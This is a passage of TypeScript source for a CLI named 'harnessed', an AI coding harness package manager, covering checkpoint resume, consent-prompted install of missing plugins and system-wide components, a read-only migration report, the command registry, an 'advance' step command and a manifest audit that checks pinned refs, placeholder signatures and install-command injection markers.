EvidenceRefType } from './schema/index.js'\nimport { readCurrentWorkflow } from './state.js'\n\nexport type ResumeResult =\n  | { status: 'no-paused-phase'; error: string }\n  | { status: 'corrupt'; error: string; path: string }\n  | {\n      status: 'ok'\n      checkpoint: CheckpointV1Type\n      cwdWarn?: string\n      resumeHint: string\n      // v5.0 Spec 1 (F) — handoff sha256 drift across the resumed ledger's\n      // evidence refs. WARN, not block (cc-handoff.md — user adjudicates).\n      // Absent when no evidence drifted.\n      driftWarn?: string[]\n      // G3 — structured recovery actions: maps ledger sub-states → human\n      // next-actions (\"run sub X\" / \"sub X failed Nx — investigate\" /\n      // all-resolved sentinel). Always present on the ok variant.\n      recoveryActions: string[]\n    }\n\nexport async function runResume(): Promise<ResumeResult> {\n  const current = await readCurrentWorkflow()\n  if (!current) {\n    return {\n      status: 'no-paused-phase',\n      error: 'no current-workflow.json found under <harnessed-root>',\n    }\n  }\n  if (current.status !== 'paused') {\n    return {\n      status: 'no-paused-phase',\n      error: `workflow status is '${current.status}', not 'paused'`,\n    }\n  }\n  if (!current.last_checkpoint_path) {\n    return { status: 'corrupt', error: 'last_checkpoint_path missing', path: '' }\n  }\n  const path = current.last_checkpoint_path\n  let raw: string\n  try {\n    raw = await readFile(path, 'utf8')\n  } catch (e) {\n    return { status: 'corrupt', error: `checkpoint missing: ${(e as Error).message}`, path }\n  }\n  let parsed: unknown\n  try {\n    parsed = JSON.parse(raw)\n  } catch (e) {\n    return {\n      status: 'corrupt',\n      error: `checkpoint JSON parse failed: ${(e as Error).message}`,\n      path,\n    }\n  }\n  const v = (parsed as { schemaVersion?: string }).schemaVersion ?? ''\n  const validated = branchOnSchemaVersion<CheckpointV1Type | null>(v, {\n    v1: () => (Value.Check(CheckpointV1, parsed) ? (parsed as CheckpointV1Type) : null),\n    unknown: () => null,\n  })\n  if (!validated) {\n    const errs = [...Value.Errors(CheckpointV1, parsed)].map((e) => e.message).join('; ')\n    return { status: 'corrupt', error: `checkpoint schema validation failed: ${errs}`, path }\n  }\n  const cwd = process.cwd()\n  const cwdWarn =\n    validated.cwd !== cwd\n      ? `⚠ checkpoint cwd '${validated.cwd}' ≠ current cwd '${cwd}' — SDK session resume may fail (§ 1.3); fresh-session fallback`\n      : undefined\n  const sidHint = validated.session_id\n    ? ` (session_id: ${validated.session_id} — SDK will redirect to original session)`\n    : ' (fresh session — context reloaded from checkpoint)'\n  const resumeHint = `→ in Claude Code: /gsd-execute-phase ${validated.phase}${sidHint}`\n\n  // v5.0 Spec 1 (F) — re-hash the live ledger's evidence refs; surface sha256\n  // drift as a warning (not a block). Reads from the singleton ledger (sole SoT,\n  // eng-review D1 — the checkpoint snapshot carries no ledger copy).\n  const allEvidence: EvidenceRefType[] = (current.sub_progress ?? []).flatMap(\n    (e) => e.evidence ?? [],\n  )\n  const drift = allEvidence.length > 0 ? await detectDrift(allEvidence) : []\n  const driftWarn =\n    drift.length > 0\n      ? drift.map((d) => {\n          const now = d.now === '' ? 'missing' : `${d.now.slice(0, 7)}…`\n          return `⚠ drift: ${d.path} sha256 changed since complete (was ${d.was.slice(0, 7)}…, now ${now})`\n        })\n      : undefined\n\n  const recovery = recoveryActions(current.sub_progress ?? [])\n\n  return {\n    status: 'ok',\n    checkpoint: validated,\n    ...(cwdWarn ? { cwdWarn } : {}),\n    resumeHint,\n    ...(driftWarn ? { driftWarn } : {}),\n    recoveryActions: recovery,\n  }\n}\n","// v4.13.0 — L4 post-pass interactive rescue (patch 4.13.0 setup UX; findings.md\n// 根因 4). Step B runs installers with `nonInteractive: true, system: false`, so\n// L4 manifests (global npm installs, e.g. ctx7) short-circuit at confirmAt with\n// `level-flag-missing` on EVERY setup run — there was no interactive path to\n// ever install them (\"总是检测不到和安装失败\" user dogfood). After the grouped\n// summary prints, this rescue prompts the user per level-flag-missing skip and,\n// on consent, re-runs that single manifest with `system: true` (the explicit\n// opt-in the L4 gate wants). `nonInteractive: true` is kept so confirmAt does\n// not double-prompt — the Clack confirm HERE is the consent.\n//\n// Own module (not a setup-helpers export): tests/cli/setup-*.test.ts factory-mock\n// setup-helpers.js; adding an export there breaks every factory (memory lesson\n// \"mock-export-gap-extract-module\"). setup.ts loads this lazily inside its\n// TTY-gated branch, mirroring the runAutoInstall dynamic-import pattern.\n\nimport { readFile } from 'node:fs/promises'\nimport * as p from '@clack/prompts'\nimport { runInstall } from '../../installers/index.js'\nimport type { InstallOpts, Manifest } from '../../installers/lib/types.js'\nimport { validateManifestFile } from '../../manifest/validate.js'\n\nexport interface L4RescueResult {\n  installed: string[]\n  skipped: string[]\n  failed: { name: string; reason: string }[]\n}\n\n/** Prompt for + run system-scope installs for Step B skips whose reason is\n *  `level-flag-missing`. Caller guards TTY / --non-interactive / --dry-run. */\nexport async function runL4Rescue(\n  manifestPaths: string[],\n  skipped: { name: string; reason: string }[],\n): Promise<L4RescueResult> {\n  const out: L4RescueResult = { installed: [], skipped: [], failed: [] }\n  const targets = skipped.filter((s) => s.reason === 'level-flag-missing')\n  if (targets.length === 0) return out\n\n  // Resolve target manifests by name (re-read is cheap local I/O).\n  const byName = new Map<string, Manifest>()\n  for (const path of manifestPaths) {\n    try {\n      const v = validateManifestFile(await readFile(path, 'utf8'), path)\n      if (v.ok) byName.set(v.manifest.metadata.name, v.manifest)\n    } catch {\n      /* unreadable manifest → absent from map → reported as failed below */\n    }\n  }\n\n  console.log(\n    `\\n${targets.length} component(s) need a system-wide (L4) install — harnessed can run them now:`,\n  )\n  for (const t of targets) {\n    const manifest = byName.get(t.name)\n    if (!manifest) {\n      out.failed.push({ name: t.name, reason: 'manifest not found for L4 rescue' })\n      continue\n    }\n    console.log(`\\n  ${t.name}:`)\n    console.log(`    $ ${manifest.spec.install.cmd}`)\n    const ans = await p.confirm({\n      message: `Run L4 install for \"${t.name}\"? (system-wide — modifies global PATH)`,\n      initialValue: false,\n    })\n    if (p.isCancel(ans) || ans !== true) {\n      out.skipped.push(t.name)\n      continue\n    }\n    const opts: InstallOpts = {\n      apply: true,\n      dryRun: false,\n      system: true, // the explicit L4 opt-in confirmAt requires\n      nonInteractive: true, // consent already given via the confirm above\n      fullDiff: false,\n      color: 'auto',\n      updateInstalled: false,\n      quiet: true,\n    }\n    const r = await runInstall(manifest, opts)\n    if ('aborted' in r) {\n      out.skipped.push(t.name)\n      console.log(`  ↷ skipped ${t.name} (${r.reason})`)\n    } else if (r.ok) {\n      out.installed.push(t.name)\n      console.log(`  ✓ installed ${t.name}`)\n    } else {\n      out.failed.push({ name: t.name, reason: r.error.message })\n      console.error(`  ✗ failed ${t.name}: ${r.error.message}`)\n    }\n  }\n  return out\n}\n","// v3.9.0 P4 — Plugin auto-install dispatcher invoked at end of `harnessed setup`.\n// v3.9.1 — Replaced hardcoded `claude plugin install <name>` with structured\n// CheckResult.install_commands consumed verbatim (4 install patterns in the\n// wild: official marketplace `claude plugin install` / 3rd-party marketplace\n// 2-step `marketplace add + plugin install` / `claude mcp add --transport ...`\n// per-server transport / `npx skills@latest add owner/repo` skill CLI).\n//\n// Reverses v3.6.0 Phase 2 SPEC NO-auto-install decision per v3.9.0 ship: instead\n// of printing `fix:` hints for user to copy-paste, prompt user with Clack\n// confirm() per missing check, then spawn each command in install_commands\n// sequentially; abort chain on first non-zero exit.\n//\n// Default: opt-in (user is prompted unless --non-interactive / --no-auto-install\n// / non-TTY).\n// Escape hatches:\n//   --non-interactive   → skip prompts, restore v3.8.x advisory-only behavior\n//   --no-auto-install   → opt out explicitly even in interactive mode\n//   non-TTY stdin/out   → auto-detect, fall back to advisory\n\nimport { spawnSync } from 'node:child_process'\nimport * as p from '@clack/prompts'\nimport { CHECKS, type CheckResult } from './doctor-registry.js'\n\nexport interface AutoInstallOpts {\n  /** Skip all interactive prompts (CI / scripts). When true, falls back to\n   *  advisory-only behavior — equivalent to v3.8.x setup output. */\n  nonInteractive: boolean\n  /** Master opt-out flag — even in interactive mode, skip all install attempts. */\n  autoInstall: boolean\n}\n\nexport interface AutoInstallResult {\n  installed: string[]\n  skipped: string[]\n  failed: { name: string; reason: string }[]\n}\n\n/** Run all doctor checks, prompt user for each installable warn entry, spawn\n *  each command in install_commands sequentially on consent. Returns counts\n *  for setup summary line. */\nexport async function runAutoInstall(opts: AutoInstallOpts): Promise<AutoInstallResult> {\n  const out: AutoInstallResult = { installed: [], skipped: [], failed: [] }\n\n  if (!opts.autoInstall) {\n    return out // explicit opt-out — short-circuit\n  }\n\n  // Re-run doctor checks (mostly cached I/O — file reads + spawnSync('where')).\n  const results: CheckResult[] = await Promise.all(CHECKS.map((c) => c()))\n\n  // Filter: warn-status entries with non-empty install_commands array.\n  const installables = results.filter(\n    (r): r is CheckResult & { install_commands: readonly string[] } =>\n      r.status === 'warn' && Array.isArray(r.install_commands) && r.install_commands.length > 0,\n  )\n\n  if (installables.length === 0) {\n    return out\n  }\n\n  console.log(\n    `\\n💡 ${installables.length} optional check(s) installable — harnessed can run install commands now:`,\n  )\n\n  for (const check of installables) {\n    const commands = check.install_commands\n\n    if (opts.nonInteractive) {\n      // CI mode — skip prompt, leave advisory hint visible from earlier doctor output.\n      out.skipped.push(check.name)\n      continue\n    }\n\n    // Show the full command list to the user BEFORE the confirm — informed consent.\n    const preview = commands.map((c) => `    $ ${c}`).join('\\n')\n    console.log(`\\n  ${check.name}:`)\n    console.log(preview)\n\n    const ans = await p.confirm({\n      message: `Run ${commands.length} install command(s) for \"${check.name}\"?`,\n      initialValue: true,\n    })\n    if (p.isCancel(ans) || ans !== true) {\n      out.skipped.push(check.name)\n      continue\n    }\n\n    // v3.9.4 — Best-effort: run all commands; record per-command failures but\n    // do NOT abort the chain. Reverses v3.9.1 SPEC \"abort on first non-zero\n    // exit\" — that was over-protection for the assumed marketplace-add +\n    // plugin-install dependency case, but in practice the multi-command\n    // chain often represents independent installs (e.g. 3 MCP servers in\n    // one check) where one failure should not block the others. User sees\n    // ALL failures + ALL successes within a check.\n    const failureReasons: string[] = []\n    for (const cmd of commands) {\n      const tokens = cmd.split(/\\s+/).filter((t) => t.length > 0)\n      const exe = tokens[0]\n      const args = tokens.slice(1)\n      if (exe === undefined) {\n        // Defensive — should never happen given install_commands non-empty entries.\n        failureReasons.push(`empty command in install_commands`)\n        continue\n      }\n      const r = spawnSync(exe, args, {\n        encoding: 'utf8',\n        stdio: 'inherit',\n        // Windows needs shell for `.cmd` / `.bat` exes (npx.cmd / claude.cmd\n        // shims); Unix is fine either way. Pass-through to OS shell handles\n        // PATH resolution + extension lookup.\n        shell: true,\n      })\n      if (r.status !== 0) {\n        const reason =\n          r.error !== undefined\n            ? `spawn error on \\`${cmd}\\`: ${r.error.message}`\n            : `exit ${r.status ?? '<unknown>'} on \\`${cmd}\\``\n        failureReasons.push(reason)\n        console.error(`    ✗ ${cmd} — ${reason}`)\n      }\n    }\n    if (failureReasons.length === 0) {\n      out.installed.push(check.name)\n      console.log(`  ✓ installed ${check.name}`)\n    } else if (failureReasons.length === commands.length) {\n      out.failed.push({\n        name: check.name,\n        reason: `all commands failed (${failureReasons.length})`,\n      })\n      console.error(`  ✗ failed ${check.name} — all ${commands.length} commands failed`)\n    } else {\n      // Partial: some commands succeeded, some failed. Recorded as failed for\n      // the summary count (user re-runs setup to retry; success-installed\n      // commands are idempotent — `claude mcp add` errors \"already exists\"\n      // which is fine on retry).\n      out.failed.push({\n        name: check.name,\n        reason: `partial: ${failureReasons.length}/${commands.length} commands failed`,\n      })\n      console.error(\n        `  ⚠ ${check.name} — partial: ${failureReasons.length}/${commands.length} commands failed (others succeeded)`,\n      )\n    }\n  }\n\n  // Summary line for setup output.\n  console.log(\n    `\\nAuto-install summary: ${out.installed.length} installed / ${out.skipped.length} skipped / ${out.failed.length} failed`,\n  )\n\n  return out\n}\n","// Phase 20 — read-only stale-state inventory for `harnessed update --migration-report`\n// (borrowed from Chachamaru127/claude-code-harness `doctor --migration-report`).\n// existsSync ONLY — this module deletes nothing. `not_observed != absent`: a\n// missing item means \"not found here\", reported as present:false, never removed.\n\nimport { existsSync } from 'node:fs'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\n\nexport interface MigrationItem {\n  name: string\n  present: boolean\n  path: string\n  hint: string\n}\n\n/** Inventory stale harnessed state. Read-only — never deletes. `cwd` is the repo,\n *  `root` is the harnessed root (`~/.claude/harnessed`). */\nexport function collectMigrationReport(cwd: string, root: string): MigrationItem[] {\n  const candidates: Omit<MigrationItem, 'present'>[] = [\n    {\n      name: 'legacy current-workflow.json',\n      path: join(root, 'current-workflow.json'),\n      hint: 'post-Phase-15 multi-workflow this is only the dual-write rollback anchor — removable once workflows.json is proven',\n    },\n    {\n      name: 'legacy backup dir (.harnessed-backup)',\n      path: join(cwd, '.harnessed-backup'),\n      hint: 'pre-v2 in-repo backup dir — safe to remove if migrated to ~/.harnessed/backups',\n    },\n    {\n      name: 'home backups (~/.harnessed/backups)',\n      path: join(homedir(), '.harnessed', 'backups'),\n      hint: 'accumulated setup backups — prune old entries manually if large',\n    },\n    {\n      name: 'rogue impl reference',\n      path: join(cwd, '.planning', 'phases', '_rogue-impl-reference'),\n      hint: 'local known-defective reference patches — remove once no longer needed (untracked)',\n    },\n  ]\n  return candidates.map((c) => ({ ...c, present: existsSync(c.path) }))\n}\n","#!/usr/bin/env node\nimport { Command } from 'commander'\nimport pkg from '../package.json' with { type: 'json' }\nimport { registerAdvance } from './cli/advance.js'\nimport { registerAudit } from './cli/audit.js'\nimport { registerAuditLog } from './cli/audit-log.js'\nimport { registerBackupList } from './cli/backup-list.js'\nimport { registerCheckpoint } from './cli/checkpoint.js'\nimport { registerCompact } from './cli/compact-cmd.js'\nimport { registerDoctor } from './cli/doctor.js'\nimport { registerGates } from './cli/gates.js'\nimport { registerGc } from './cli/gc.js'\nimport { registerInstall } from './cli/install.js'\nimport { registerInstallBase } from './cli/install-base.js'\nimport { registerLearn } from './cli/learn.js'\nimport { parseBareInvocation, runHere } from './cli/lib/here.js'\nimport { registerManifestAdd } from './cli/manifest-add.js'\nimport { registerNext } from './cli/next.js'\nimport { registerPrompt } from './cli/prompt.js'\nimport { registerReject } from './cli/reject.js'\nimport { registerReleasePreflight } from './cli/release-preflight.js'\nimport { registerResearch } from './cli/research.js'\nimport { registerResume } from './cli/resume.js'\nimport { registerRetro } from './cli/retro.js'\nimport { registerRollback } from './cli/rollback.js'\nimport { registerRun } from './cli/run.js'\nimport { registerSetup } from './cli/setup.js'\nimport { registerStatus } from './cli/status.js'\nimport { registerUninstall } from './cli/uninstall.js'\nimport { registerUpdate } from './cli/update.js'\nimport { registerWorkflows } from './cli/workflows.js'\nimport { setLocale } from './i18n/index.js'\nimport { migrateLegacyHarnessedRoot } from './installers/lib/harnessedRoot.js'\n\n// v3.0.3 — migrate any pre-v3.0.3 `~/.harnessed/` to `~/.claude/harnessed/`\n// before any subcommand runs. Idempotent on subsequent invocations.\nmigrateLegacyHarnessedRoot()\n\n// v3.4.0 — pre-parse `--lang` flag so subcommand action handlers see the\n// correct locale before they emit any t()-wrapped strings. Commander parses\n// global flags eagerly via `program.parse`, but the lazy detect inside\n// `getLocale()` would otherwise resolve to env/Intl on first t() call before\n// the flag handler ran. Scanning argv here mirrors gnu getopt convention.\nconst argv = process.argv\nfor (let i = 2; i < argv.length; i++) {\n  const a = argv[i]\n  if (a === '--lang' && i + 1 < argv.length) {\n    setLocale(argv[i + 1])\n    break\n  }\n  if (a?.startsWith('--lang=')) {\n    setLocale(a.slice('--lang='.length))\n    break\n  }\n}\n\n// P1-2 (v5.0 Spec 1) — commander async `.action()` handlers (checkpoint / status /\n// resume / run / gates) have no top-level try/catch, so a rejected promise\n// (LockHeldError, fs faults, …) would surface as an unhandled rejection and crash\n// with a v8 stack dump + non-deterministic exit code. A single global handler at the\n// process root converts any escaped rejection/exception into a clean `error: …` line\n// + exit 1. This is preferred over per-action try/catch (which would entangle with\n// the `process.exit`-mocked CLI unit tests that import each `register*` in isolation\n// against their own Command instance — this file is never imported by those tests).\nprocess.on('unhandledRejection', (reason) => {\n  const msg = reason instanceof Error ? reason.message : String(reason)\n  console.error(`error: ${msg}`)\n  process.exit(1)\n})\nprocess.on('uncaughtException', (err) => {\n  console.error(`error: ${err instanceof Error ? err.message : String(err)}`)\n  process.exit(1)\n})\n\nconst program = new Command()\n\nprogram\n  .name('harnessed')\n  .description('AI coding harness package manager + composition orchestrator')\n  .version(pkg.version)\n  .option('--lang <code>', 'output language: en | zh (auto-detect from $LANG / Intl if absent)')\n\n// 12 subcommands per ADR 0004 + 0007 + 0008 + 0011 + 0012 + 0014 draft\n// (manifest-add added in phase 2.3 W3 T3.2 — EE-5 5Q merge gate, D-03 BOTH 双闸 L1;\n//  resume added in phase 3.1 W4 T4.4 — R7.3 D-03 RELOAD checkpoint reload).\nregisterInstall(program)\nregisterInstallBase(program)\nregisterResearch(program)\nregisterManifestAdd(program)\nregisterDoctor(program)\nregisterAudit(program)\nregisterAuditLog(program) // Phase 5.1 W1 T1.3 — 13th subcommand (R10.1 D-01 jq filter consumer)\nregisterRollback(program)\nregisterStatus(program)\nregisterBackupList(program)\nregisterGc(program)\nregisterResume(program) // Phase 3.1 W4 T4.4 — 12th subcommand (R7.3 D-03 RELOAD)\nregisterUninstall(program) // Phase 5.2 W1 T1.1 — 14th subcommand (R10.3 D-01 7-method dispatch)\nregisterSetup(program) // v1.0.1 T1.5 — 15th subcommand (one-time onboarding workflows/*/SKILL.md → ~/.claude/skills/)\nregisterRun(program) // v3.4.4 T1 — 16th subcommand (α CLI wire; replaces dead SlashCommand vapor in commands/<x>.md)\n// v4.0 W1 — orchestration-brain CLIs (CC main session calls these; no spawn):\nregisterGates(program) // 17th — gate eval JSON (which subs fire for a master)\nregisterPrompt(program) // 18th — spawn-ready prompt text/json for a sub\nregisterCheckpoint(program) // 19th — record sub start/complete/fail to checkpoints/\nregisterNext(program) // 20th — G2 deterministic next-step contract (NEXT: auto|manual|done) + v12.0 D3 cross-unit forward continuation\nregisterAdvance(program) // v12.0 Phase 38 D4 — `harnessed advance` cross-phase act (gated, print-only)\nregisterReject(program) // 21st — G7-lite user-rejected terminal sub status\nregisterCompact(program) // 22nd — Phase 14 compact: summarize+evict resolved ledger entries\nregisterWorkflows(program) // 23rd — Phase 15 multi-workflow: list in-flight workflows (one per repo)\nregisterLearn(program) // 24th — Phase 16 learning loop: append a prose learning to .planning/LEARNINGS.md\nregisterUpdate(program) // 25th — Phase 20 update: self-update + --upstreams + --migration-report\nregisterReleasePreflight(program) // 26th — Phase 21 ship: read-only release-readiness gate\nregisterRetro(program) // 27th — Phase 22 retro-reminder reset (--done zeroes the phase counter)\n\n// v8.0 Phase 24 — zero-arg `harnessed` you-are-here entry (comet `/comet` analog).\n// D3 explicit bare-invocation detection BEFORE program.parse: ONLY `[]` / `['--json']`\n// (after the pre-parsed `--lang` pair) dispatch the dashboard; everything else\n// (subcommand / --help / --version / unknown) falls through to commander unchanged,\n// so `harnessed bogus` still errors. runHere is read-only + exits 0; any rejection\n// surfaces via the global unhandledRejection handler above.\nconst bare = parseBareInvocation(process.argv.slice(2))\nif (bare.here) {\n  void runHere({ json: bare.json })\n} else {\n  program.parse(process.argv)\n}\n","// src/cli/advance.ts — v12.0 Forward Continuation (Phase 38, D4). `harnessed advance`\n// — the act half of the gsd-pi next(read)/advance(act) split. Derives the next work\n// unit from .planning disk state, applies the comet advance-gate (refuse to skip an\n// earlier incomplete phase / a failed sub unless --force), and PRINTS the start\n// instruction. OQ-1 print-only: it never seeds current-workflow.json and never spawns\n// — the main session runs the emitted command, keeping clarification / Agent-Teams\n// reachable (same rationale as the issue #2 orchestrator bodies).\n//\n// Exit codes: 0 advance · 2 done · 10 blocked · 11 gate-reject · 1 error.\n// Driver loop:  while harnessed advance --json; do : ; done   (0 loops, non-zero stops)\n\nimport type { Command } from 'commander'\n\ninterface AdvanceOpts {\n  json?: boolean\n  force?: boolean\n}\n\nexport function registerAdvance(program: Command): void {\n  program\n    .command('advance')\n    .description(\n      'Advance to the next work unit derived from .planning (gated: refuses to skip an earlier incomplete phase unless --force). Print-only — emits the command to run.',\n    )\n    .option('--json', 'emit machine-readable {next, unit, hint} for driver loops')\n    .option('--force', 'override the advance-gate (records an audit note in the output)')\n    .action(async (opts: AdvanceOpts) => {\n      const { readCurrentWorkflow } = await import('../checkpoint/state.js')\n      const { scanPlanning } = await import('../checkpoint/planningScan.js')\n      const { resolveAdvance } = await import('../checkpoint/forwardStep.js')\n      const current = await readCurrentWorkflow()\n      const snapshot = scanPlanning({\n        repoRoot: process.cwd(),\n        currentWorkflow: current,\n        includeTasks: false,\n      })\n      const step = resolveAdvance(snapshot, opts.force ?? false)\n      if (opts.json) {\n        console.log(JSON.stringify(step.json))\n      } else {\n        for (const line of step.lines) console.log(line)\n      }\n      process.exit(step.exitCode)\n    })\n}\n","// Phase 1.2 cli subcommand `audit` per ASSUMPTIONS B4 候选 1 + R2.3 + phase-1.1.1 M1 second-line check.\n//\n// Phase 1.2 scope: manifest 内自一致性校验 only. We do NOT call git remote\n// get-url against installed copies — that requires already-installed\n// upstreams + network access, deferred to phase 2.4 (real audit per ASSUMPTIONS\n// B4 + ROADMAP). Schema-level checks (git_ref pattern, signed_by pattern,\n// repository format) are mostly enforced by Ajv + phase 1.1.1 M1 hotfix; this\n// audit is a second-line defense against schema drift / placeholder values\n// slipping through.\n\nimport { readdir, readFile } from 'node:fs/promises'\nimport { join, resolve } from 'node:path'\nimport type { Command } from 'commander'\nimport { validateManifestFile } from '../manifest/validate.js'\n// Phase 2.4 W4 T4.1 — runtime-layer helpers (B-28 + B-29 + D2.4-16 + D2.4-17).\nimport {\n  auditInstallCmdIntegrity,\n  auditOriginIntegrity,\n  auditProvenance,\n} from './lib/audit-helpers.js'\n\nconst REPO_URL_PATTERN = /^https:\\/\\/[^\\s]+\\.git$/\nconst SIGNED_BY_PLACEHOLDERS = new Set(['unsigned', 'todo', 'placeholder', 'tbd', 'unknown'])\nconst FORBIDDEN_GIT_REFS = new Set(['HEAD', 'main', 'master'])\n\n// Phase 2.4 W4 T4.1 — exported for sister-share with src/cli/lib/audit-helpers.ts\n// (3 runtime-layer helpers reuse same finding shape; karpathy YAGNI no audit-types.ts).\nexport interface AuditFinding {\n  manifest: string\n  level: 'warn' | 'error'\n  field: string\n  detail: string\n}\n\nasync function auditOne(yamlPath: string, preReadSrc?: string): Promise<AuditFinding[]> {\n  const findings: AuditFinding[] = []\n  const src = preReadSrc ?? (await readFile(yamlPath, 'utf8'))\n  const v = validateManifestFile(src, yamlPath)\n  if (!v.ok) {\n    return v.errors.map((e) => ({\n      manifest: yamlPath,\n      level: 'error' as const,\n      field: e.path,\n      detail: e.message,\n    }))\n  }\n  const m = v.manifest\n\n  // 1. repository URL shape — must be https + .git suffix.\n  const repo = m.metadata.upstream.repository\n  if (!REPO_URL_PATTERN.test(repo)) {\n    findings.push({\n      manifest: yamlPath,\n      level: 'warn',\n      field: '/metadata/upstream/repository',\n      detail: `repository '${repo}' should be https://...git`,\n    })\n  }\n\n  // 2. signed_by must not be a placeholder.\n  const sig = m.spec.signed_by\n  if (SIGNED_BY_PLACEHOLDERS.has(sig.toLowerCase())) {\n    findings.push({\n      manifest: yamlPath,\n      level: 'warn',\n      field: '/spec/signed_by',\n      detail: `signed_by '${sig}' looks like a placeholder`,\n    })\n  }\n\n  // 3. git_ref second-line check — schema enforces SHA(7-40 hex)|SemVer pattern (M1\n  // hotfix); audit catches the rare \"schema bypass\" case, which is impossible today\n  // but cheap insurance against future migrations.\n  const install = m.spec.install\n  if ('git_ref' in install && typeof install.git_ref === 'string') {\n    if (FORBIDDEN_GIT_REFS.has(install.git_ref)) {\n      findings.push({\n        manifest: yamlPath,\n        level: 'error',\n        field: '/spec/install/git_ref',\n        detail: `git_ref '${install.git_ref}' is a moving ref (HEAD/main/master) — pin to SHA or tag`,\n      })\n    }\n  }\n  return findings\n}\n\nexport function registerAudit(program: Command): void {\n  program\n    .command('audit')\n    .description('Second-line manifest self-consistency audit (manifest + runtime layers)')\n    .option(\n      '--skip-runtime',\n      'skip runtime-layer checks (origin tamper / provenance) — manifest only',\n    )\n    .action(async (opts: { skipRuntime?: boolean }) => {\n      const root = process.cwd()\n      const dirs = ['manifests/tools', 'manifests/skill-packs']\n      const yamls: string[] = []\n      for (const d of dirs) {\n        try {\n          const entries = await readdir(join(root, d))\n          for (const f of entries) if (f.endsWith('.yaml')) yamls.push(resolve(root, d, f))\n        } catch {\n          // dir absent — skip silently (project may not have all categories)\n        }\n      }\n      yamls.sort()\n\n      // Manifest-layer findings (Phase 1.2 ship — schema drift / placeholders / moving refs).\n      const findings: AuditFinding[] = []\n      const validManifests: Array<{\n        path: string\n        m: import('../manifest/schema/types.js').Manifest\n      }> = []\n      for (const y of yamls) {\n        const src = await readFile(y, 'utf8')\n        const v = validateManifestFile(src, y)\n        if (v.ok) validManifests.push({ path: y, m: v.manifest })\n        findings.push(...(await auditOne(y, src)))\n      }\n\n      // Phase 2.4 W4 T4.1 — runtime-layer findings per B-28 + B-29 + R2:\n      //  1. origin URL tamper (hard-fail mode via shared checkOrigin helper)\n      //  2. install.cmd shell-injection + npm-pkg-vs-upstream cross-check\n      //  3. provenance gate (delegates to scripts/check-provenance.mjs)\n      // --skip-runtime escape hatch for offline / pre-init env (B-29 carve-out).\n      if (!opts.skipRuntime) {\n        findings.push(...auditOriginIntegrity(root))\n        for (const { m } of validManifests) findings.push(...auditInstallCmdIntegrity(m))\n        findings.push(...auditProvenance())\n      }\n\n      const byManifest = new Map<string, AuditFinding[]>()\n      for (const f of findings) {\n        const arr = byManifest.get(f.manifest) ?? []\n        arr.push(f)\n        byManifest.set(f.manifest, arr)\n      }\n      let errorCount = 0\n      for (const y of yamls) {\n        const fs = byManifest.get(y) ?? []\n        if (fs.length === 0) {\n          console.log(`✓ ${y}`)\n        } else {\n          for (const f of fs) {\n            const mark = f.level === 'error' ? '✗' : '⚠'\n            console.log(`${mark} ${y}\\n    ${f.field}: ${f.detail}`)\n            if (f.level === 'error') errorCount++\n          }\n        }\n      }\n      // Phase 2.4 W4: emit runtime-layer findings (manifest key = 'project' or m.metadata.name).\n      for (const [mname, fs] of byManifest) {\n        if (yamls.includes(mname)) continue // manifest-layer already printed above\n        for (const f of fs) {\n          const mark = f.level === 'error' ? '✗' : '⚠'\n          console.log(`${mark} [${mname}] ${f.field}: ${f.detail}`)\n          if (f.level === 'error') errorCount++\n        }\n      }\n      console.log(\n        `\\naudited ${yamls.length} manifest${yamls.length === 1 ? '' : 's'} — ${findings.length} finding${findings.length === 1 ? '' : 's'} (${errorCount} error${errorCount === 1 ? '' : 's'})`,\n      )\n      process.exit(errorCount > 0 ? 1 : 0)\n    })\n}\n","// Phase 2.4 W4 T4.1 — audit runtime-layer helpers per B-28 + B-29 + R2.\n// 3 helpers: origin tamper (sister-share w/ allowFork=false), install.cmd\n// shell-injection + npm-pkg-vs-upstream cross-check, provenance gate.\n// Karpathy budget: ≤64L (B-29 target ≤50 + biome multi-line format carve-out\n// sister doctor.ts B-03 5%-tolerance pattern; semantically MIN — 3 helpers +\n// 1 `finding()` constructor, biome auto-expands long single-line returns).\nimport { spawnSync } from 'node:child_process'\nimport type { Manifest } from '../../manifest/schema/types.js'\nimport type { AuditFinding } from '../audit.js'\nimport { checkOrigin } from './origin-check.js'\n\n// Phase 2.4 W4 T4.1 — refined per real-world manifest survey: planner spec\n// originally COMMAND_SEPARATORS = /[;&|`$]/ flagged legitimate multi-step\n// installs (cp && cd; mkdir; etc.). Tighten to actual shell-eval injection\n// markers aligned with src/manifest/security.ts gate (Phase 1.1.1 hotfix B1):\n// $(...) command substitution / ${...} var expansion / backtick legacy substitution.\n// Bare `$` followed by non-{( (e.g. `$PATH` literal in echo) is NOT injection.\n// Rule 1 deviation per executor — see SUMMARY § Deviations.\nconst SHELL_EVAL_MARKERS = /\\$\\(|\\$\\{|`/\nconst NPM_PKG_RE = /npm(?:\\s+install\\b|\\s+i\\b)(?:\\s+(?:-g|--global))?\\s+(\\S+)/\n\nconst finding = (\n  manifest: string,\n  level: 'warn' | 'error',\n  field: string,\n  detail: string,\n): AuditFinding => ({ manifest, level, field, detail })\n\nexport function auditOriginIntegrity(cwd: string): AuditFinding[] {\n  const r = checkOrigin(cwd, { allowFork: false }) // B-28 hard-fail mode (vs doctor allowFork=true)\n  if (r.status === 'pass') return []\n  return [\n    finding('project', r.status === 'fail' ? 'error' : 'warn', '/git/remote/origin', r.detail),\n  ]\n}\n\nexport function auditInstallCmdIntegrity(m: Manifest): AuditFinding[] {\n  const out: AuditFinding[] = []\n  const cmd = (m.spec.install as { cmd?: string }).cmd ?? ''\n  if (SHELL_EVAL_MARKERS.test(cmd)) {\n    out.push(\n      finding(\n        m.metadata.name,\n        'error',\n        '/spec/install/cmd',\n        'install.cmd contains shell-eval marker $(/${/backtick (injection risk)',\n      ),\n    )\n  }\n  const upstream = m.metadata.upstream?.repository ?? ''\n  const npmMatch = cmd.match(NPM_PKG_RE)\n  if (npmMatch?.[1] && upstream.includes('github.com/')) {\n    const declared = upstream.split('/').pop()?.replace('.git', '')\n    if (declared && npmMatch[1] !== declared) {\n      out.push(\n        finding(\n          m.metadata.name,\n          'warn',\n          '/spec/install/cmd',\n          `install.cmd npm pkg '${npmMatch[1]}' ≠ upstream '${declared}'`,\n        ),\n      )\n    }\n  }\n  return out\n}\n\nexport function auditProvenance(): AuditFinding[] {\n  const r = spawnSync('node', ['scripts/check-provenance.mjs'], { encoding: 'utf8' })\n  if (r.status === 0) return []\n  const detail = (r.stderr || r.stdout || '').trim().slice(0, 200)\n  return [finding('project', 'error', '/.harnessed/provenance', detail)]\n}\n","// 